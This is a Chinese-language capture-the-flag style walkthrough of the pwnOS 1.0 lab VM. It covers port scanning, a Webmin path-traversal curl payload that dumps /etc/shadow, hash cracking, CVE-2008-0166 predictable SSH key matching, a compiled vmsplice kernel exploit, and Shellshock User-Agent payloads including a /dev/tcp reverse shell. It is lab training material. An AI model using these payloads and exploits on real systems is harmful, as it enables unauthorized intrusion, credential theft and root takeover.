红队笔记靶机–PWNOS1.0 (解法1)

1.主机发现和信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
╭─ /home/kali/Desktop/php  with root@kali at 04:31:43 ─╮
╰─❯ nmap -sT -p- --min-rate=10000 192.168.26.133 ─╯

Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-09 04:32 EST
Warning: 192.168.26.133 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.26.133
Host is up (0.025s latency).
Not shown: 56689 closed tcp ports (conn-refused), 8841 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
MAC Address: 00:0C:29:5E:18:C9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 29.49 seconds

╭─ /home/kali/Desktop/php ····································

开放了22,80,139,445,10000

进行第二步信息收集,扫描服务的版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
╭─ /home/kali/Desktop/php  took 30s with root@kali at 04:32:57 ─╮
╰─❯ nmap -sT -p- --min-rate=10000 -sV 192.168.26.133 ─╯

Starting Nmap 7.95 ( https://nmap.org ) at 2026-11-09 04:34 EST
Warning: 192.168.26.133 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.26.133
Host is up (0.0075s latency).
Not shown: 63461 closed tcp ports (conn-refused), 2069 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.91 seconds

查看80端口:

1
http://192.168.26.133/index1.php?help=true&connect=true

先进行目录扫描;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
╭─ /home/kali/Desktop/php  took 1m 2s with root@kali at 04:35:25 ─╮
╰─❯ dirsearch -u "http://192.168.26.133/" ─╯

/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/php/reports/http_192.168.26.133/__26-11-09_04-38-54.txt

Target: http://192.168.26.133/

[04:38:54] Starting:
[04:38:55] 403 - 311B - /.ht_wsr.txt
[04:38:55] 403 - 314B - /.htaccess.bak1
[04:38:55] 403 - 314B - /.htaccess.orig
[04:38:55] 403 - 316B - /.htaccess.sample
[04:38:55] 403 - 314B - /.htaccess.save
[04:38:55] 403 - 315B - /.htaccess_extra
[04:38:55] 403 - 314B - /.htaccess_orig
[04:38:55] 403 - 312B - /.htaccessBAK
[04:38:55] 403 - 312B - /.htaccessOLD
[04:38:55] 403 - 313B - /.htaccessOLD2
[04:38:55] 403 - 312B - /.htaccess_sc
[04:38:55] 403 - 304B - /.htm
[04:38:55] 403 - 305B - /.html
[04:38:55] 403 - 310B - /.htpasswds
[04:38:55] 403 - 311B - /.httr-oauth
[04:38:56] 301 - 332B - /php -> http://192.168.26.133/php/
[04:38:57] 403 - 314B - /.htpasswd_test
[04:39:00] 403 - 308B - /cgi-bin/
[04:39:02] 403 - 304B - /doc/
[04:39:02] 403 - 308B - /doc/api/
[04:39:02] 403 - 319B - /doc/en/changes.html
[04:39:02] 403 - 319B - /doc/html/index.html
[04:39:02] 403 - 318B - /doc/stable.version
[04:39:04] 200 - 156B - /index2
[04:39:04] 200 - 156B - /index2.php
[04:39:07] 200 - 896B - /php/
[04:39:12] 403 - 314B - /server-status/
[04:39:12] 403 - 313B - /server-status

Task Completed

查看:

1
2
3
[04:39:04] 200 -  156B  - /index2                                           
[04:39:04] 200 - 156B - /index2.php
[04:39:07] 200 - 896B - /php/
  • index2.php

index1和2查看f12没有任何信息

查看/php/发现跳转到了phpmyadmin这个系统上:

回到首页:

1
http://192.168.26.133/index1.php?help=true&connect=true

尝试文件包含:

包含成功,尝试包含/etc/shadow发现无权限,打开10000端口

是一个webadmin系统,看看能不能用文件包含去包含账户的敏感文件,去网上搜索一下MiniServ 0.01 的配置文件

1
/etc/webmin/miniserv.users

文件包含一下

1
http://192.168.26.133/index1.php?help=true&connect=/etc/webmin/miniserv.users

文件不存在或者没权限 ,接下来我们把重点聚焦于10000的服务上:

思考:我们无法包含users文件,但是我们可以包含版本文件

1
http://192.168.26.133/index1.php?help=true&connect=/etc/webmin/version

去搜索这个版本存在的CVE漏洞:

2.获取系统初始立足点

利用方式:

1
curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
C:\Users\alast>curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shell.cgi
Browser IP address appears to be: 192.168.26.1<p>

C:\Users\alast>curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::

这样我们成功提取到了几条用户的hash,批量使用john爆破,这里爆破过了使用–show 查看:

1
2
3
4
john users.hash  --show                                                                                                                                                                                                                              
vmware:h4ckm3

1 password hash cracked, 4 left

只爆破出一个凭据,使用爆破的凭据登录系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╭─ /home/kali/Desktop/php  with root@kali at 04:58:22 ─╮
╰─❯
ssh -o HostKeyAlgorithms=+ssh-rsa vmware@192.168.26.133 ─╯
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
vmware@192.168.26.133's password:
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Nov 9 01:21:50 2026 from 192.168.26.130
vmware@ubuntuvm:~$

3.垂直越权->权限提升

既然Mniserver 能包含shadow 文件那么一定说名是以高权限运行的,vmware虽然能进入/root但是查看不了/root/.bash_history,但是Miniserver的漏洞可以直接读取,那么我们可以编辑一个脚本,文件包含的时候会触发文件运行,从而反弹shell 另外服务是perl脚本编写的,perl在常规情况下不会被解析执行,那么这个服务一定配置了CGI,我们需要将pl设置为cgi后缀的脚本

1
2
╭─ /home/kali/Desktop/tools/HostScan/linpeas.sh on main ?1 ·························· took 37s with root@kali at 05:02:05 ─╮
╰─❯ cp /usr/share/webshells/perl/perl-reverse-shell.pl /home/kali/Desktop/shell.cgi
1
2
3
C:\Users\alast>curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/vmware/shell.cgi
Browser IP address appears to be: 192.168.26.1<p>

python -m 开启http服务,接着wget 最后复用CVE执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
╭─ /home/kali/Desktop ········································································ with root@kali at 05:01:31 ─╮
╰─❯ nc -lvp 8888 ─╯
listening on [any] 8888 ...
192.168.26.133: inverse host lookup failed: Host name lookup failure
connect to [192.168.26.130] from (UNKNOWN) [192.168.26.133] 47639
03:16:30 up 2:06, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
vmware pts/0 192.168.26.130 02:48 10.00s 0.28s 0.28s -bash
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
uid=0(root) gid=0(root)
/
/usr/sbin/apache: can't access tty; job control turned off
#

解法2 文件包含+OpenSSL 可预测 PRNG 漏洞-获取初始shell

从webmin的文件包含开始:

1
2
3
curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/home/obama/.ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf0ptx2wrcAw09HayPxMnKv+BFiGA/I1yXn5EqUfuLSDcTwiIeVSvqJl3NNI5HQUUc6KGlwrhCW464ksARX2ZAp9+6Yu7DphKZmtF5QsWaiJc7oV5il89zltwBDqR362AH49m8/3OcZp4XJqEAOlVWeT5/jikmke834CyTMlIcyPL85LpFw2aXQCJQIzvkCHJAfwTpwJTugGMB5Ng73omS82Q3ErbOhTSa5iBuE86SEkyyotEBUObgWU3QW6ZMWM0Rd9ErIgvps1r/qpteMMrgieSUKlF/LaeMezSXXkZrn0x+A2bKsw9GwMetQ== obama@ubuntuvm

authorized_keys 是 SSH 服务端的一个文本文件,本质上是一个公钥文件的集合,用于决定哪些公钥持有者可以登录该用户账户

拿到了这个文件,我们应当思考该如何利用 , 由于靶机比较老,我们猜测可能存在CVE-2008-0166

漏洞介绍:

1
Debian维护者误删OpenSSL熵注入代码,致PRNG仅依赖PID(≤4位熵),使RSA/DSA密钥空间坍缩至约3.2万种可能;进而详述构建弱密钥字典、比对公钥、自动化SSH私钥碰撞及登录的完整渗透链路,涵盖密钥预测、字典复用与协议兼容性处理。

就是可以计算出所有的可行性

字典下载:

1
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2

取obama 公钥集的前20位,放到解压的文件夹中遍历

1
2
3
❯ grep -rl "AAAAB3NzaC1yc2EAAAABIwAAAQEAxRuWHhMPelB60JctxC6BDxjqQXggf" *.*                                                                                                                                                                              ─╯
dcbe2a56e8cdea6d17495f6648329ee2-4679.pub

r是递归,l是输出包含内容的文件名 ,我们发现文件 dcbe2a56e8cdea6d17495f6648329ee2-4679.pub 但是.pub是无法进行登录的 我们看看有没有没有不带.pub的,不带.pub的就是私钥文件

1
2
3
4
5
6
7
╭─ /home/kali/Desktop/tools/CVE/CVE-2008-0166/rsa/2048  with root@kali at 22:12:28 ─╮
╰─❯ ls | grep "dcbe2a56e8cdea6d17495f6648329ee2-4679" ─╯
dcbe2a56e8cdea6d17495f6648329ee2-4679
dcbe2a56e8cdea6d17495f6648329ee2-4679.pub

╭─ /home/kali/Desktop/tools/CVE/CVE-2008-0166/rsa/2048 with root@kali at 22:12:30 ─╮
╰─❯

我们把dcbe2a56e8cdea6d17495f6648329ee2-4679 复制到桌面下

1
2
3
4
╭─ /home/kali/Desktop ········································································································································································································ with root@kali at 22:13:41 ─╮
╰─❯ ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.26.133 ─╯
Unable to negotiate with 192.168.26.133 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss

加上参数:

1
2
3
4
5
6
7
8
╭─ /home/kali/Desktop  х 255 with root@kali at 22:14:03 ─╮
╰─❯ ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.26.133 -oHostKeyAlgorithms=+ssh-rsa─╯
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
sign_and_send_pubkey: no mutual signature supported
obama@192.168.26.133's password:

还是需要密码,我们加上-v参数 开启详细ssh的连接过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
╭─ /home/kali/Desktop  х INT took 1m 13s with root@kali at 22:15:50 ─╮
╰─❯ ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.26.133 -oHostKeyAlgorithms=+ssh-rsa -v ─╯
debug1: OpenSSH_10.2p1 Debian-2, OpenSSL 3.5.4 30 Sep 2025
debug1: Reading configuration data /root/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: Reading configuration data /etc/ssh/ssh_config.d/20-systemd-ssh-proxy.conf
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to 192.168.26.133 [192.168.26.133] port 22.
debug1: Connection established.
debug1: no pubkey loaded from dcbe2a56e8cdea6d17495f6648329ee2-4679
debug1: identity file dcbe2a56e8cdea6d17495f6648329ee2-4679 type -1
debug1: no identity pubkey loaded from dcbe2a56e8cdea6d17495f6648329ee2-4679
debug1: Local version string SSH-2.0-OpenSSH_10.2p1 Debian-2
debug1: Remote protocol version 2.0, remote software version OpenSSH_4.6p1 Debian-5build1
debug1: compat_banner: match: OpenSSH_4.6p1 Debian-5build1 pat OpenSSH_2*,OpenSSH_3*,OpenSSH_4* compat 0x00000002
debug1: Authenticating to 192.168.26.133:22 as 'obama'
debug1: load_hostkeys: fopen /root/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: diffie-hellman-group-exchange-sha256
debug1: kex: host key algorithm: ssh-rsa
debug1: kex: server->client cipher: aes128-ctr MAC: hmac-sha1 compression: none
debug1: kex: client->server cipher: aes128-ctr MAC: hmac-sha1 compression: none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST(2048<7680<8192) sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_GROUP
debug1: SSH2_MSG_KEX_DH_GEX_GROUP received
debug1: SSH2_MSG_KEX_DH_GEX_INIT sent
debug1: expecting SSH2_MSG_KEX_DH_GEX_REPLY
debug1: SSH2_MSG_KEX_DH_GEX_REPLY received
debug1: Server host key: ssh-rsa SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w
debug1: load_hostkeys: fopen /root/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: Host '192.168.26.133' is known and matches the RSA host key.
debug1: Found key in /root/.ssh/known_hosts:63
debug1: rekey out after 4294967296 blocks
debug1: SSH2_MSG_NEWKEYS sent
debug1: expecting SSH2_MSG_NEWKEYS
debug1: SSH2_MSG_NEWKEYS received
debug1: rekey in after 4294967296 blocks
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
debug1: SSH2_MSG_SERVICE_ACCEPT received
debug1: Authentications that can continue: publickey,password
debug1: Next authentication method: publickey
debug1: Will attempt key: dcbe2a56e8cdea6d17495f6648329ee2-4679 explicit
debug1: Trying private key: dcbe2a56e8cdea6d17495f6648329ee2-4679
sign_and_send_pubkey: no mutual signature supported
debug1: Next authentication method: password
obama@192.168.26.133's password:

发现sign_and_send_pubkey: no mutual signature supported 加上参数

1
ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.26.133 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=ssh-rsa

-oPubkeyAcceptedKeyTypes=ssh-rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╭─ /home/kali/Desktop  х INT took 2m 7s with root@kali at 22:17:59 ─╮
╰─❯ ssh -i dcbe2a56e8cdea6d17495f6648329ee2-4679 obama@192.168.26.133 -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedKeyTypes=ssh-rsa
─╯
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Mon Nov 9 06:49:19 2026 from 192.168.26.130
obama@ubuntuvm:~$

2.Linux 内核漏洞提权

uname -a 查看内核版本

1
2
3
4
obama@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
obama@ubuntuvm:~$

searchsploit 搜索内核版本2.6.2 ,2.6.2是一个折中版本 选择2.6.22会错过一些漏洞 而2.6的范围太广

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
╭─ /home/kali ················································································ with root@kali at 22:26:43 ─╮
╰─❯ searchsploit 2.6.2 | grep "Linux Kernel" ─╯
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Local Privilege Escalation | linux/local/160.c
Linux Kernel 2.2.25/2.4.24/2.6.2 - 'mremap()' Validator | linux/local/154.c
Linux Kernel 2.6.17 < 2.6.24.1 - 'vmsplice' Local Privilege Escalation (2) | linux/local/5092.c
Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1) | linux/local/3587.c
Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (2) | linux/local/3595.c
Linux Kernel 2.6.20/2.6.24/2.6.27_7-10 (Ubuntu 7.04/8.04/8.10 / Fedora Core 10 / OpenSuse | linux/remote/8556.c
Linux Kernel 2.6.21.1 - IPv6 Jumbo Bug Remote Denial of Service | linux/dos/4893.c
Linux Kernel 2.6.22 - IPv6 Hop-By-Hop Header Remote Denial of Service | linux/dos/30902.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Metho | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalat | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method | linux/local/40611.c
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1) | linux/local/5093.c
Linux Kernel 2.6.24_16-23/2.6.27_7-10/2.6.28.3 (Ubuntu 8.04/8.10 / Fedora Core 10 x86-64) | linux_x86-64/local/9083.c
Linux Kernel 2.6.26 - Auerswald USB Device Driver Buffer Overflow (PoC) | linux/dos/35957.txt
Linux Kernel 2.6.27 < 2.6.36 (RedHat x86-64) - 'compat' Local Privilege Escalation | linux_x86-64/local/15024.c
Linux Kernel 2.6.27.7-generic/2.6.18/2.6.24-1 - Local Denial of Service | linux/dos/7454.c
Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service | linux/dos/7405.c
Linux Kernel 2.6.28/3.0 (DEC Alpha Linux) - Local Privilege Escalation | linux/local/17391.c
Linux Kernel 2.6.29 - 'ptrace_attach()' Race Condition Privilege Escalation | linux/local/8678.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (1) | linux/dos/31965.c
Linux Kernel 2.6.9 < 2.6.25 (RHEL 4) - utrace and ptrace Local Denial of Service (2) | linux/dos/31966.c
Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation | linux/local/8673.c
Linux Kernel < 2.4.36.9/2.6.27.5 - Unix Sockets Local Kernel Panic (Denial of Service) | linux/dos/7091.c
Linux Kernel < 2.6.20.2 - 'IPv6_Getsockopt_Sticky' Memory Leak | linux/local/4172.c
Linux Kernel < 2.6.22 - 'ftruncate()'/'open()' Local Privilege Escalation | linux/local/6851.c
Linux Kernel < 2.6.26.4 - SCTP Kernel Memory Disclosure | linux/local/7618.c
Linux Kernel < 2.6.28 - 'fasync_helper()' Local Privilege Escalation | linux/local/33523.c
Linux Kernel < 2.6.29 - 'exit_notify()' Local Privilege Escalation | linux/local/8369.sh

这里试了脏牛 无法提权 ,在借助网页ai的帮助下 我们最终确定了利用漏洞为

1
Linux Kernel 2.6.23 < 2.6.24 - 'vmsplice' Local Privilege Escalation (1)                   | linux/local/5093.c

python或者php开启服务

1
2
3
4
5
6
╭─ /home/kali ················································································ with root@kali at 22:25:19 ─╮
╰─❯ python -m http.server 8080 ─╯
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.26.133 - - [10/Nov/2026 22:25:41] "GET / HTTP/1.0" 200 -
192.168.26.133 - - [10/Nov/2026 22:25:51] "GET /5092.c HTTP/1.0" 200 -
192.168.26.133 - - [10/Nov/2026 22:26:07] "GET /5092.c HTTP/1.0" 200 -

靶机wget下载,然后编译执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
obama@ubuntuvm:~$ wget http://192.168.26.130:8080/5092.c
--07:07:13-- http://192.168.26.130:8080/5092.c
=> `5092.c'
Connecting to 192.168.26.130:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6,288 (6.1K) [text/x-csrc]

100%[=================================================================================================================================================================================================================>] 6,288 --.--K/s

07:07:13 (85.52 MB/s) - `5092.c' saved [6288/6288]

obama@ubuntuvm:~$ ls
5092.c
obama@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
obama@ubuntuvm:~$ gcc 5092.c -o exp
5092.c:289:28: warning: no newline at end of file
obama@ubuntuvm:~$ ./exp
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e4c000 .. 0xb7e7e000
[+] root
root@ubuntuvm:~# id
uid=0(root) gid=0(root) groups=1001(obama)
root@ubuntuvm:~#

3.shellshock提权

由于Perl后端需要配置CGI脚本,而bash的版本又处于漏洞版本内

1
2
3
4
5
╭─ /home/kali ······························································································ with root@kali at 23:25:09 ─╮
╰─❯ curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow -A () { :; }; echo; /bin/bash -c 'id'

uid=0(root) gid=0(root) groups=0(root)

开启反弹shell

1
2
3
4
╭─ /home/kali ······································································· took 37s with root@kali at 23:36:08 ─╮
╰─❯ nc -lvp 8888 ─╯
listening on [any] 8888 ...

1
2
3
4
╭─ /home/kali ······························································································ with root@kali at 23:36:15 ─╮
╰─❯ curl http://192.168.26.133:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow -A () { :; }; echo; /bin/bash -c 'sh -i >& /dev/tcp/192.168.26.130/8888 0>&1'


成功获取到root权限

1
2
3
4
5
6
7
8
╭─ /home/kali ······································································· took 37s with root@kali at 23:36:08 ─╮
╰─❯ nc -lvp 8888 ─╯
listening on [any] 8888 ...
192.168.26.130: inverse host lookup failed: Host name lookup failure
connect to [192.168.26.130] from (UNKNOWN) [192.168.26.130] 53548
# whoami
root
#